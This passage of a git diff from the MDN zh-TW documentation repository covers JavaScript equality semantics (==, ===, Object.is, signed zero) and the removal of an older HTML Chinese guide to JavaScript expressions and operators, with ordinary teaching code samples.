例如:負無窮加正無窮,嚴格比較認為 `NaN` 不等於任何值,包含他本身。(`(x !== x)`只有在 `x` 是 `NaN `時會是 `true`。) + +## 一般相等(==) + +一般相等會*先將*比較值轉換成同型別後比較。轉換後(可能一個或兩個都被轉換),接著進行的幾乎和嚴格比較(`===`)一樣。 一般相等會*對稱*: `A == B` 等同 `B == A` ,無論 `A` 和 `B` 是什麼。(除了型別轉換的順序) + +不同型別的一般相等運作如下表: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
比較值 B
UndefinedNullNumberStringBooleanObject
比較值 AUndefinedtruetruefalsefalsefalsefalse
Nulltruetruefalsefalsefalsefalse
NumberfalsefalseA === BA === ToNumber(B)A === ToNumber(B)A == ToPrimitive(B)
StringfalsefalseToNumber(A) === BA === BToNumber(A) === ToNumber(B)A == ToPrimitive(B)
BooleanfalsefalseToNumber(A) === BToNumber(A) === ToNumber(B)A === BToNumber(A) == ToPrimitive(B)
ObjectfalsefalseToPrimitive(A) == BToPrimitive(A) == BToPrimitive(A) == ToNumber(B)A === B
+ +根據上表, `ToNumber(A)` 嘗試在比較前轉換成一個數字。 這等同 `+A` (單 + 運算子)。`ToPrimitive(A)` 嘗試從物件轉換成原生值,透過嘗試對 A 使用 `A.toString` 和 `A.valueOf` 方法。 + +一般來說,根據 ECMAScript 規範,所有物件應該不等於 `undefined` 和 `null`。但大多數瀏覽器允許很小部分的物件(尤其是所有頁面的 `document.all` 物件)在某些情況下*當成* `undefined`。一般相等是其中一種:當 A 是個被*模擬* 成 `undefined `的物件` ,``null == A ` 和 `undefined == A` 會是 true。而在其他情況下物件不會等同於 `undefined` 或 `null。` + +```js +var num = 0; +var obj = new String("0"); +var str = "0"; + +console.log(num == num); // true +console.log(obj == obj); // true +console.log(str == str); // true + +console.log(num == obj); // true +console.log(num == str); // true +console.log(obj == str); // true +console.log(null == undefined); // true + +// 除了少數情況,這兩個應該是 false。 +console.log(obj == null); +console.log(obj == undefined); +``` + +部分開發者認為最好別用一般相等。嚴格比較更容易預測,且因為不必轉型,因此效率更好。 + +## 同值相等 + +同值相等解決了最後一個情況:比較兩個值是否*功能相同* 。(這裡用了 [Liskov 替換原則(英)](http://en.wikipedia.org/wiki/Liskov_substitution_principle) 為例)當試圖修改一個不可變的屬性: + +```js +// 新增一個不可變 NEGATIVE_ZERO 屬性到 Number 原型。 +Object.defineProperty(Number, "NEGATIVE_ZERO", + { value: -0, writable: false, configurable: false, enumerable: false }); + +function attemptMutation(v) +{ + Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v }); +} +``` + +當修改一個不可變屬性時, `Object.defineProperty` 會出現例外,但若沒有真的要求修改,就沒事。如果 `v` 是 `-0`,就不會有修改,也就不會有錯誤出現。但若 `v` 是 `+0`,`Number.NEGATIVE_ZERO` 不再擁有自己的不可變屬性。在內部,當一個不可變屬性被重新定義,新的值會用同值相等和原值比較。 + +[`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) 方法提供同值相等比較。 + +## 零值相等 + +和同值相等一樣,但將 `+0` 和 `-0 `視為相同。 + +## 一般相等、嚴格相等和同值相等的規範 + +在 ES5,一般相等 [`==`](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) 在 [Section 11.9.3, The Abstract Equality Algorithm](http://ecma-international.org/ecma-262/5.1/#sec-11.9.3) 中規範。嚴格相等 [`===`](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) 在 [11.9.6, The Strict Equality Algorithm](http://ecma-international.org/ecma-262/5.1/#sec-11.9.6)。(可以看看,這很簡短且可讀。註:先讀嚴格相等。)ES5 也在 [Section 9.12, The SameValue Algorithm](http://ecma-international.org/ecma-262/5.1/#sec-9.12) 規範 JS 引擎的行為。他幾乎和嚴格相等一樣,除了 11.9.6.4 和 9.12.4 在處理 [`Number`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number) 時的不同。ES2015 簡短的提出了 `Object.is。` + +我們可以發現在 11.9.6.1 中,除了 11.9.6.1 規範型別檢查,嚴格相等規範是從屬於一般相等規範,因為 11.9.6.2–7 和 11.9.3.1.a–f 相應。 + +## 理解相等比較模型 + +ES2015 以後,你或許會將雙等於和三等於解讀成是彼此的「加強版」。比如,有人或許會說雙等於是三等於的延伸版本,因為前者做的事情和後者事情一模一樣,只差在運算元的型別轉換。舉例來說,`6 == "6"` (又或者說,有人可能會講說雙等於是基底,而三等於是加強版,因為它要求兩個運算元是同型別,所以它多了一個限制。至於哪個是較好的理解模型,取決於你的觀點。 + +儘管如此,這個思考內建相同運算子的方法,並非是延伸 ES2015 中的 [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) 方法。 [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) 不是單純地比雙等號「更寬鬆」或比三等號「更嚴謹」,也不適合將其放在兩者之間(即,比雙等號嚴謹,但較三等號寬鬆)。我們可以從下方的比較表格看到,一切是起源於 [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) 可以處理 [`NaN`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/NaN) 的比較運算。要注意的是,如果 `Object.is(NaN, NaN)` 的運算結果是 `false` ,我們就可以因為它區分 `-0` 和 `+0` 的結果,使用寬鬆和嚴謹的範疇來界定它是比三等號更嚴謹的那一區段。然而,區別 [`NaN`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/NaN) 的方式並不確實。Unfortunately, [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) simply has to be thought of in terms of its specific characteristics, rather than its looseness or strictness with regard to the equality operators. + +| x | y | `==` | `===` | `Object.is` | +| ------------------- | ------------------- | ------- | ------- | ----------- | +| `undefined` | `undefined` | `true` | `true` | `true` | +| `null` | `null` | `true` | `true` | `true` | +| `true` | `true` | `true` | `true` | `true` | +| `false` | `false` | `true` | `true` | `true` | +| `"foo"` | `"foo"` | `true` | `true` | `true` | +| `{ foo: "bar" }` | `x` | `true` | `true` | `true` | +| `0` | `0` | `true` | `true` | `true` | +| `+0` | `-0` | `true` | `true` | `false` | +| `0` | `false` | `true` | `false` | `false` | +| `""` | `false` | `true` | `false` | `false` | +| `""` | `0` | `true` | `false` | `false` | +| `"0"` | `0` | `true` | `false` | `false` | +| `"17"` | `17` | `true` | `false` | `false` | +| `[1,2]` | `"1,2"` | `true` | `false` | `false` | +| `new String("foo")` | `"foo"` | `true` | `false` | `false` | +| `null` | `undefined` | `true` | `false` | `false` | +| `null` | `false` | `false` | `false` | `false` | +| `undefined` | `false` | `false` | `false` | `false` | +| `{ foo: "bar" }` | `{ foo: "bar" }` | `false` | `false` | `false` | +| `new String("foo")` | `new String("foo")` | `false` | `false` | `false` | +| `0` | `null` | `false` | `false` | `false` | +| `0` | `NaN` | `false` | `false` | `false` | +| `"foo"` | `NaN` | `false` | `false` | `false` | +| `NaN` | `NaN` | `false` | `false` | `true` | + +## When to use [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) versus triple equals + +Aside from the way it treats [`NaN`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/NaN), generally, the only time [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is)'s special behavior towards zeros is likely to be of interest is in the pursuit of certain meta-programming schemes, especially regarding property descriptors when it is desirable for your work to mirror some of the characteristics of [`Object.defineProperty`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty). If your use case does not require this, it is suggested to avoid [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) and use [`===`](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) instead. Even if your requirements involve having comparisons between two [`NaN`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/NaN) values evaluate to `true`, generally it is easier to special-case the [`NaN`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/NaN) checks (using the [`isNaN`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/isNaN) method available from previous versions of ECMAScript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison. + +Here's an in-exhaustive list of built-in methods and operators that might cause a distinction between `-0` and `+0` to manifest itself in your code: + +- [`- (unary negation)`](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#-_.28Unary_Negation.29) + - : It's obvious that negating `0` produces `-0`. But the abstraction of an expression can cause `-0` to creep in when you don't realize it. For example, consider:`js let stoppingForce = obj.mass * -obj.velocity `If `obj.velocity` is `0` (or computes to `0`), a `-0` is introduced at that place and propogates out into `stoppingForce`. +- [`Math.atan2`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2), + [`Math.ceil`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil), + [`Math.pow`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/pow), + [`Math.round`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/round) + - : It's possible for a `-0` to be introduced into an expression as a return value of these methods in some cases, even when no `-0` exists as one of the parameters. E.g., using [`Math.pow`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/pow) to raise `-Infinity` to the power of any negative, odd exponent evaluates to `-0`. Refer to the documentation for the individual methods. +- [`Math.floor`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/floor), + [`Math.max`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/max), + [`Math.min`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/min), + [`Math.sin`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/sin), + [`Math.sqrt`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt), + [`Math.tan`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/tan) + - : It's possible to get a `-0` return value out of these methods in some cases where a `-0` exists as one of the parameters. E.g., `Math.min(-0, +0)` evalutes to `-0`. Refer to the documentation for the individual methods. +- [`~`](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators), + [`<<`](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators), + [`>>`](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators) + - : Each of these operators uses the ToInt32 algorithm internally. Since there is only one representation for 0 in the internal 32-bit integer type, `-0` will not survive a round trip after an inverse operation. E.g., both `Object.is(~~(-0), -0)` and `Object.is(-0 << 2 >> 2, -0)` evaluate to `false`. + +Relying on [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) when the signedness of zeros is not taken into account can be hazardous. Of course, when the intent is to distinguish between `-0` and `+0`, it does exactly what's desired. + +## See also + +- [JS Comparison Table](http://dorey.github.io/JavaScript-Equality-Table/) diff --git a/files/zh-tw/web/javascript/guide/control_flow_and_error_handling/index.md b/files/zh-tw/web/javascript/guide/control_flow_and_error_handling/index.md index 7db417b508e78b..2019816d003b1b 100644 --- a/files/zh-tw/web/javascript/guide/control_flow_and_error_handling/index.md +++ b/files/zh-tw/web/javascript/guide/control_flow_and_error_handling/index.md @@ -239,7 +239,7 @@ throw true; // True/False throw {toString: function() { return "我是物件!"; } }; ``` -> **備註:**您可以在拋出例外時指定物件。 然後,可以在 catch 區塊中引用對象的屬性。 +> **備註:** 您可以在拋出例外時指定物件。 然後,可以在 catch 區塊中引用對象的屬性。 ```js // 創建類型爲 UserException 的物件 diff --git a/files/zh-tw/web/javascript/guide/expressions_and_operators/index.html b/files/zh-tw/web/javascript/guide/expressions_and_operators/index.html deleted file mode 100644 index de7a313f436022..00000000000000 --- a/files/zh-tw/web/javascript/guide/expressions_and_operators/index.html +++ /dev/null @@ -1,934 +0,0 @@ ---- -title: 運算式與運算子 -slug: Web/JavaScript/Guide/Expressions_and_Operators -translation_of: Web/JavaScript/Guide/Expressions_and_Operators ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}
- -

這個章節將講述 JavaScript 的運算式與運算子,包括賦值運算子,比較運算子,算術運算子,位元運算子, 邏輯運算子, 字串運算子, 條件(三元)運算子 以及更多運算子.

- -

更多關於運算子以及運算式的資料可以在 reference 中找到。

- -

運算子

- -

JavaScript 有以下幾種運算子。 此處將描述運算子以及一些運算子的優先順序。

- - - -

JavaScript 同時具有二元運算子及一元運算子, 以及一種特殊的 三元運算子,也就是 條件運算子。 一個二元運算子需要具備兩個運算元, 一個在運算元之前,一個在運算元之後:

- -
運算元1 運算子 運算元2
-
- -

例如, 3+4x*y.

- -

一個 一元運算子 需要一個運算元, 位於運算子之前或之後:

- -
運算子 運算元
-
- -

- -
運算元 運算子
-
- -

例如, x++++x.

- -

賦值運算子

- -

一個 賦值運算子 將 基於其 右方的運算元 的值賦予其 左方的運算元。 最簡單的 賦值運算子 是 等於 (=), 它將賦予 左方運算元 與 右方運算元相同之值。 也就是, x = y 會把y的值賦予給x。

- -

也有一些復合的 賦值運算子 是為了縮短下面表中的運算:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
復合運算子
名稱簡化的運算子意義
賦值x = yx = y
加法賦值x += yx = x + y
減法賦值x -= yx = x - y
乘法賦值x *= yx = x * y
除法賦值x /= yx = x / y
餘數賦值x %= yx = x % y
指數賦值x **= yx = x ** y
左移賦值x <<= yx = x << y
右移賦值x >>= yx = x >> y
無號右移賦值x >>>= yx = x >>> y
位元 AND 賦值x &= yx = x & y
位元 XOR 賦值x ^= yx = x ^ y
位元 OR 賦值x |= yx = x | y
- -

解構

- -

為了進行更複雜的賦值,解構賦值是 JavaScript 用來從陣列或物件中提取資料的語法。

- -
var foo = ['one', 'two', 'three'];
-
-// 不使用解構
-var one   = foo[0];
-var two   = foo[1];
-var three = foo[2];
-
-// 使用解構
-var [one, two, three] = foo;
- -

比較運算子

- -

比較運算子 會比較 運算元 並基於比較的結果回傳邏輯值。 運算元可以是數字,字串,邏輯,或物件的值。 字串的比較是基於字典序的, 使用 Unicode 的值。 在多數情況下,假如兩個運算元不具有相同型態, JavaScript 會嘗試將它們轉換成相同型態。這個行為通常是將運算元以數學形式對待。 在某些的轉換型態的例外中會使用到 ===!== 運算子, 它們會嚴格地進行相等或不相等的比較。 這些運算子不會在確認相等與否前嘗試轉換運算元的型態。 下面的表解釋了比較運算子:

- -
var var1 = 3;
-var var2 = 4;
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
比較運算子
運算子描述會回傳True的例子
等於 (==)假如運算元等價就回傳True。3 == var1 -

"3" == var1

- 3 == '3'
不等於 (!=)假如運算元等價就回傳True。var1 != 4
- var2 != "3"
嚴格等於 (===)假如運算元具有相同型態且等價則回傳True。參考 {{jsxref("Object.is")}} 及 JS中的等價性3 === var1
嚴格不等於 (!==)假如運算元具有相同型態但不等價,或是具有不同型態,回傳True。var1 !== "3"
- 3 !== '3'
大於 (>)假如左方運算元大於右方運算元,回傳True。var2 > var1
- "12" > 2
大於或等於 (>=)假如左方運算元大於或等於右方運算元,回傳True。var2 >= var1
- var1 >= 3
小於 (<)假如左方運算元小於右方運算元,回傳True。var1 < var2
- "2" < 12
小於或等於 (<=)假如左方運算元小於或等於右方運算元,回傳True。var1 <= var2
- var2 <= 5
- -
-

備註:(=>)不是運算子,是 箭頭函式。

-
- -

算術運算子

- -

算術運算子 以 數值 (文字或變數也可以)作為其運算元,並回傳單一數值。最常見的算術運算元是 加法 (+),減法 (-), 乘法 (*),及除法 (/)。 這些運算子在大多數程式語言中功能相同 (比較特別的是,在除數為0時 {{jsxref("Infinity")}})。例如:

- -
1 / 2; // 0.5
-1 / 2 == 1.0 / 2.0; // 會是 true
-
- -

除了標準的算術運算子外 (+, -, * /), JavaScript 提供以下表中的算術運算子:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
算術運算子
運算子描述範例
取餘數 (%)二元運算子。回傳兩個運算元相除後的餘數。12 % 5 回傳 2.
增加 (++)一元運算子。 將運算元增加1。假如使用在運算元之前 (++x),會運算元回傳增加1後的值;假如使用在運算元之後。 (x++) 會回傳運算元加1前的值。假如 x是 3,那 ++x 將把 x 設定為 4 並回傳 4,而 x++ 會回傳 3 , 接著才把 x 設定為 4。
減少 (--)一元運算子。 將運算元減少1。回傳值的情況與 增加運算元 相同。假如 x是 3,那 --x 將把 x 設定為 2 並回傳 2,而 x-- 會回傳 3 , 接著才把 x 設定為 2。
(一元運算子)減號 (-)一元運算子。回傳運算元的負數。假如x是3,-x 回傳 -3。
(一元運算子)加號 (+)一元運算子。嘗試將運算元轉換成數字,假如它還不是數字的話。+"3" 回傳 3
- +true 回傳 1.
指數運算子 (**) {{experimental_inline}}計算以 a 為底的 b 次方, 也就是, a^b2 ** 3 回傳 8.
- 10 ** -1 回傳 0.1.
- -

位元運算子

- -

位元運算子 把運算元當作 32 位元的集合來看待 (0和1), 而不是十進位,十六進位,或八進位。例如,十進位數字 9 以二進位表示就是 1001。 位元運算子將運算元以上述二進位的形式處理,但是回傳 Javascript 中的數字類型值。

- -

下列表總結了 JavaScript' 中的位元運算子。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
位元運算子
運算子用法描述
位元 ANDa & b回傳兩個運算元對於每個bit做AND的結果。
位元 ORa | b回傳兩個運算元對於每個bit做OR的結果。
位元 XORa ^ b回傳兩個運算元對於每個bit做XOR的結果。
位元 NOT~ a將運算元中的每個bit反轉(1->0,0->1)。
左移a << ba 的每個bit向左移動 b 個bits,空餘的位數以0填滿。
有號右移a >> ba 的每個bit向右移動 b 個bits,空餘位數以最高位補滿。
以0填充的右移a >>> ba 的每個bit向右移動 b 個bits,空餘的位數以0填滿。
- -

位元邏輯運算子

- -

概念上,位元邏輯運算子運作過程如下:

- -
    -
  • 運算元被轉換為32 bits 的整數以二進位形式表示 (0 和 1)。大於 32 bits 的數字將被捨棄多出來的位元。例如, 下列整數大於32個bit但是會被轉換為32個bit的整數: -
    轉換之前:  11100110111110100000000000000110000000000001
    -轉換之後:              10100000000000000110000000000001
    -
  • -
  • 第一個運算元中的每個bit分別對應到第二個運算元的每個bit: 第一個 bit 對 第一個 bit, 第二個 bit 對 第二個 bit, 以此類推。
  • -
  • 運算子會對於 bit 進行運算, 結果也是基於bit 來決定的。
  • -
- -

例如, 9 的二元表示法是 1001, 15 的二元表示法是 1111。因此,在使用位元運算子的時候,結果如下:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
位元運算子範例
運算式結果二元描述式
15 & 991111 & 1001 = 1001
15 | 9151111 | 1001 = 1111
15 ^ 961111 ^ 1001 = 0110
~15-16~00000000...00001111 = 11111111...11110000
~9-10~00000000...00001001 = 11111111...11110110
- -

注意,在使用 位元NOT 運算子時, 所有的32個bit都被進行NOT了,包含最左邊用來描述正負數的位元(two's-complement representation)。

- -

位元移動運算子

- -

位元移動運算子需要兩個運算元: 第一個是運算的目標,第二個是要移動的位元數。移動的方向取決於使用的運算子。

- -

移動運算子會將運算元轉換成32 bits的整數,並且會回傳與左方運算元相同的型態。

- -

移動運算子在下表被列出.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
位元移動運算子
運算子描述範例
左移
- (<<)
這個運算子會將第 一個運算元的每個bit向左移動 第二個運算元所指定的bit數量。左邊超出的位數會被捨棄,右邊空出的位數以0補齊。9<<2 得到 36,因為1001 向左移動 2 bits 會得到 100100, 也就是二進位的 36。
有號右移 (>>)這個運算子會將第 一個運算元的每個bit向右移動 第二個運算元所指定的bit數量。右邊超出的位數會被捨棄,左邊空出的位數以最高位補齊。9>>2 得到 2,因為 1001 向右移動 2 bits 會得到 10,也就是二進位的 2。 相同的, -9>>2 會得到 -3,因為最高位用來表示正負號的bit被保留了。
以0填充的右移 (>>>)這個運算子會將第 一個運算元的每個bit向右移動 第二個運算元所指定的bit數量。右邊超出的位數會被捨棄,左邊空出的位數以0補齊。19>>>2 得到 4, 因為 10011 向右移動 2 bits 會得到 100,是二進位的 4。對於非負的數字而言, 以0填充的右移 會得到和 有號右移相同的結果。
- -

邏輯運算子

- -

邏輯運算子 通常被用於布林(邏輯)值; 使用於 布林(邏輯)值時, 它們會回傳布林型態的值。 然而,&&|| 運算子實際上是回傳兩指定運算元之一,因此用於非布林型態值時,它可能會回傳一個非布林型態的值。 邏輯運算子將在下表中被詳細解釋。

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Logical operators
OperatorUsageDescription
邏輯 AND (&&)運算式1 && 運算式2假如 運算式1 可以被轉換成 false的話,回傳 運算式1; 否則,回傳 運算式2。 因此,&&只有在 兩個運算元都是True 時才會回傳 True,否則回傳 false
邏輯 OR (||)運算式1 || 運算式2假如 運算式1 可以被轉換成 true的話,回傳 運算式1; 否則,回傳 運算式2。 因此,||在 兩個運算元有任一個是True 時就會回傳 True,否則回傳 false
邏輯 NOT (!)!運算式假如單一個運算元能被轉換成True時,回傳false , 不然回傳 true
- -

可以被轉換為 false 的運算式是 null, 0, NaN, 空字串 (""),或 未定義。

- -

下面是 && (邏輯 AND) 運算子 的範例。

- -
var a1 =  true && true;     // t && t 回傳 true
-var a2 =  true && false;    // t && f 回傳 false
-var a3 = false && true;     // f && t 回傳 false
-var a4 = false && (3 == 4); // f && f 回傳 false
-var a5 = "Cat" && "Dog";    // t && t 回傳 Dog
-var a6 = false && "Cat";    // f && t 回傳 false
-var a7 = "Cat" && false;    // t && f 回傳 false
-
- -

下列是 || (邏輯 OR) 運算子的範例。

- -
var o1 =  true || true;     // t || t 回傳 true
-var o2 = false || true;     // f || t 回傳 true
-var o3 =  true || false;    // t || f 回傳 true
-var o4 = false || (3 == 4); // f || f 回傳 false
-var o5 = 'Cat' || 'Dog';    // t || t 回傳 Cat
-var o6 = false || 'Cat';    // f || t 回傳 Cat
-var o7 = 'Cat' || false;    // t || f 回傳 Cat
-
- -

下列是 ! (邏輯 NOT) 運算子的範例。

- -
var n1 = !true;  // !t 回傳 false
-var n2 = !false; // !f 回傳 true
-var n3 = !'Cat'; // !t 回傳 false
-
- -

短路解析

- -

邏輯運算式是由左向右解析的, 他們會以下列規則嘗試進行 短路解析:

- -
    -
  • false && 任何東西 是 false 的短路解析。
  • -
  • true || 任何東西 是 true 的短路解析。
  • -
- -

這些規則保證 解析總是正確的。 值得注意的地方是,剩餘部分的運算式並沒有被解析,所以不會占用任何效能。

- -

字串運算子

- -

除了作為比較運算子之外, 運算子 (+) 也能用於字串,將兩字串接在一起,並回傳接在一起後的結果。

- -

例如,

- -
console.log('我的 ' + '字串'); // 會印出 字串 "我的字串"。
- -

簡化的設定運算子 += 也能用於串接字串。

- -

例如,

- -
var mystring = '字';
-mystring += '母'; // 得到 "字母" 並賦與給變數 mystring.
- -

條件(三元)運算子

- -

條件運算子 是 JavaScript 中唯一需要三個運算元的運算子。 這個運算子接受兩個運算元作為值且一個運算元作為條件。 語法是:

- -
條件 ? 值1 : 值2
-
- -

如果 條件 為 true,運算子回傳 值1, 否則回傳 值2。 你可以在任何使用標準運算子的地方改用 條件運算子。

- -

例如,

- -
var status = (age >= 18) ? '成人' : '小孩';
-
- -

這個陳述句會將 "成人" 賦與給變數 status 假如 age 大於等於18。 否則,會將 "小孩" 賦與給變數 status

- -

逗號運算子

- -

逗點運算子 (,) 作用是解析兩個運算元並回傳後面那個運算元的值。 這個運算子通常用於for迴圈內部,讓多個變數能在每次迴圈中被更新。

- -

例如,假如 a 是一個有十個物件在裡面的二維陣列, 下面的程式中就使用了逗點運算子來同時更新兩個變數。 這段程式碼會印出陣列中所有對角線上的物件:

- -
for (var i = 0, j = 9; i <= j; i++, j--)
-  console.log('a[' + i + '][' + j + ']= ' + a[i][j]);
-
- -

一元運算子

- -

一元運算 是只需要一個運算元的運算。

- -

delete

- -

delete 運算子會刪除物件,物件的性質,或是陣列中指定 index 的物件。 語法是:

- -
delete 物件名稱;
-delete 物件名稱.性質;
-delete 物件名稱[索引];
-delete 性質; // 只有在 with 陳述句中可以使用
-
- -

物件名稱 是物件的名稱, 性質 是物件中的一個特性, 索引 是用來表示物件在陣列中位置的一個整數。

- -

第四種形式只有在 with 陳述句中可用, 用來刪除物件中的一個特性。

- -

你可以用 delete 運算子來刪除隱式宣告的變數, 但不適用於使用 var 宣告的變數。

- -

假如 delete 運算子使用成功, 它會將物件 或是 物件的特性設定為 未定義。 delete 運算子會在運算成功時回傳 true ,失敗時回傳 false

- -
x = 42;
-var y = 43;
-myobj = new Number();
-myobj.h = 4;    // 建立特性 h
-delete x;       // 回傳 true (只有在隱式宣告時能被刪除)
-delete y;       // 回傳 false (在使用 var 宣告時無法刪除)
-delete Math.PI; // 回傳 false (不能刪除內建定義的特性)
-delete myobj.h; // 回傳 true (可以刪除使用者自定義的特性)
-delete myobj;   // 回傳 true (在隱式宣告時可被刪除)
-
- -
刪除陣列元素
- -

在你刪除了陣列中的一個元素後, 陣列的長度並不會改變。 例如, 假如你刪除 a[3]a[4] 依然是 a[4]a[3] 為 未定義。

- -

當使用 delete 運算子刪除陣列中的一個元素後, 那個元素便不再存在於陣列中了。 在下面的程式中, trees[3] 被用 delete 移除了。然而, trees[3] 的記憶體位址仍可用並且會回傳 未定義。

- -
var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
-delete trees[3];
-if (3 in trees) {
-  // 不會執行到這裡
-}
-
- -

假如你希望給予陣列元素 未定義 的值, 你可以直接使用 undefined 關鍵字而不是使用 delete 運算子。 下列範例中, trees[3] 被指定了 undefined, 然而陣列元素依然存在:

- -
var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
-trees[3] = undefined;
-if (3 in trees) {
-  // 會執行這裡
-}
-
- -

typeof

- -

typeof 運算子 能以下列任一方式使用:

- -
typeof 運算元
-typeof (運算元)
-
- -

typeof 運算子會回傳代表運算元類型的 字串。 運算元能是字串,變數,關鍵字,或是會回傳型態的物件。 括號是可有可無的。

- -

假設你定義了以下這些變數:

- -
var myFun = new Function('5 + 2');
-var shape = 'round';
-var size = 1;
-var today = new Date();
-
- -

typeof 運算子會回傳下列結果:

- -
typeof myFun;       // 回傳 "function"
-typeof shape;       // 回傳 "string"
-typeof size;        // 回傳 "number"
-typeof today;       // 回傳 "object"
-typeof doesntExist; // 回傳 "undefined"
-
- -

對於 truenull關鍵字, typeof 運算子會回傳下列結果:

- -
typeof true; // 回傳 "boolean"
-typeof null; // 回傳 "object"
-
- -

對於字串或數字, typeof 運算子會回傳下列結果:

- -
typeof 62;            // 回傳 "number"
-typeof 'Hello world'; // 回傳 "string"
-
- -

對於特性,typeof 運算子會回傳 特性的值的類型:

- -
typeof document.lastModified; // 回傳 "string"
-typeof window.length;         // 回傳 "number"
-typeof Math.LN2;              // 回傳 "number"
-
- -

對於 方法 及 函式, typeof 運算子會回傳下列結果:

- -
typeof blur;        // 回傳 "function"
-typeof eval;        // 回傳 "function"
-typeof parseInt;    // 回傳 "function"
-typeof shape.split; // 回傳 "function"
-
- -

對於內建定義的物件, typeof 運算子會回傳下列結果:

- -
typeof Date;     // 回傳 "function"
-typeof Function; // 回傳 "function"
-typeof Math;     // 回傳 "object"
-typeof Option;   // 回傳 "function"
-typeof String;   // 回傳 "function"
-
- -

void

- -

void 運算子 能以下列任一方式使用:

- -
void (運算式)
-void 運算式
-
- -

void 運算子會解析運算式而不回傳任何值。 運算式 是 JavaScript 中要解析的對象。 括號是可有可無的,但是建議使用。

- -

你可以使用 void 運算子來解析超連結中的運算式。 運算式會被解析而不會在當前頁面被印出。

- -

下列範例是一個在點擊時甚麼都不做的超連結。 當使用者點擊連結時, void(0) 被解析為 未定義, 而甚麼都不會發生。

- -
<a href="javascript:void(0)">點擊這裡,甚麼都不會發生</a>
-
- -

下列範例是一個在使用者點擊時傳送表單的超連結。

- -
<a href="javascript:void(document.form.submit())">
-點擊以送出</a>
- -

關係運算子

- -

關係運算子比較兩運算元並基於比較結果回傳布林值。

- -

in

- -

in 運算子 在指定性質存在於物件中時回傳 true 。 語法是:

- -
性質名稱 in 物件名稱
-
- -

性質名稱 可以是 字串或數字,或是陣列的索引, 且 物件名稱 是物件的名稱。

- -

下列範例示範了 in 運算子的一些用法。

- -
// 陣列
-var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
-0 in trees;        // 回傳 true
-3 in trees;        // 回傳 true
-6 in trees;        // 回傳 false
-'bay' in trees;    // 回傳 false (你必須指定 索引,
-                   // 而不是 索引所對應的元素)
-'length' in trees; // 回傳 true (length 是陣列的性質之一)
-
-// 內建物件
-'PI' in Math;          // 回傳 true
-var myString = new String("coral");
-'length' in myString;  // 回傳 true
-
-// 自訂義物件
-var mycar = { make: 'Honda', model: 'Accord', year: 1998 };
-'make' in mycar;  // 回傳 true
-'model' in mycar; // 回傳 true
-
- -

instanceof

- -

instanceof 運算子 在 指定物件 具有 指定的物件型態 時回傳 true。 語法是:

- -
物件名稱 instanceof 物件類型
-
- -

物件名稱 是用來與 物件類型 比較的物件的名字, 物件類型 是物件的類型, 例如 {{jsxref("Date")}} 或 {{jsxref("Array")}}。

- -

當你需要在程式執行中確認物件的形態時,你可以使用 instanceof 運算子。 例如,當捕捉到例外時, 你可以依照例外的類型來決定用來處理意外的程式碼。

- -

例如,下列程式碼使用 instanceof 來判斷變數 theDay 是不是 Date 類型的物件。 因為 theDayDate 類型的物件, 所以if 陳述中的陳述句會被執行。

- -
